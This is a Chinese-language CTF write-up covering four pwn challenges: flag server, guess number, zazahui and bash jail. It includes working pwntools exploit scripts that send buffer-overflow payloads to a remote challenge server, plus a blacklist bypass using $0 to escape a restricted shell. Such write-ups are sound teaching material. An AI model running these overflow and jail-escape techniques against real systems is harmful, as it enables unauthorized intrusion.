这个算是做之前的复现吧,感谢Veritas501
WEEK1
1.flag server
拖进IDA看一下
流程倒着看,要有flag-----v8=1-----v5=v6-----s1=admin,我们可以把s1覆盖掉-----username长度不能大于63,不能等于0-----之后还要猜出随机数v6,看一下怎么覆盖
这些变量都在一起,美滋滋
exp
from pwn import *
cn=remote('111.230.149.72',30001)
cn.sendline('xiaoyuyu')
cn.recvuntil("your username length: ")
cn.sendline('-1')
payload='a'*(0x50-0x10)+p64(1)
cn.recvuntil("whats your username?")
cn.sendline(payload)
cn.interactive()
2.guess number
scanf直接溢出就好了,如下
a1和nptr的偏移量 0x10C+0x8
exp
from pwn import *
cn=remote('111.230.149.72',30002)
cn.sendline("xiaoyuyu")
payload='0'*(0x10C+0x8)+p64(0)
cn.send(payload)
cn.interactive()
3.zazahui
这次有两个文件,古天乐和正常的
拖进IDA
里面两个函数,第一个是个file open之类的,读取flag和ad的值,第二个函数如下
感觉没啥溢出的地方,跟进函数sub_8048634
基本可以猜测出就是个read函数,范围是188,我们可以看到s1的范围从0xC0到0x10,只有176,那么这个函数就溢出了,把读取的地址改到flag的地址,同时有一点要注意,要把v3变成100,不然flag读不出来
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./zazahui')
bin = ELF('./zazahui')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30003)
bin = ELF('./zazahui')
libc = ELF('./libc32.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.sendline("xiaoyuyu")
flag_addr=0x0804A060
payload='a'*176+p32(flag_addr)+p32(100)
cn.recvuntil('> ')
cn.sendline(payload)
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
WEEK2
4.bash jail
可还行,拖进IDA看一下
我第一反应是把Lineptr改成/bin/sh
分析一下里面的函数,400706里面的意思是如果开头输入的是(a,b,c,f,h,g,i,l,n,s,t,*)会输出hacker!! go away~~ QAQ
那我们输入数字试一下,情况如下
大概了解了,应该是shell的脚本,在shell里面有如下这些
我就试着$0,然后打我想要的指令,竟然成功了,原理要是不是这样的,不要喷我,